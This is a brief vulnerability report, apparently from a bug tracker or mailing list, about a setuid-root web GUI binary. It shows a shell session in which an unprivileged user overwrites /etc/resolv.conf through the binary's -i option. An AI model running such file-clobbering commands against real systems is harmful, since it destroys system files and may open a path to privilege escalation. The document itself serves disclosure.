since the webgui is suid root, any unprivileged user (however they might get onto the system) might arbitrarily overwrite any file:
frr@fw0:~$ /usr/lib/cgi-bin-webgui -i /etc/resolv.conf
^C
frr@fw0:~$ cat /etc/resolv.conf
5947
frr@fw0:~$
don't know if that could be exploited to gain admin rights, but at least could hose the system.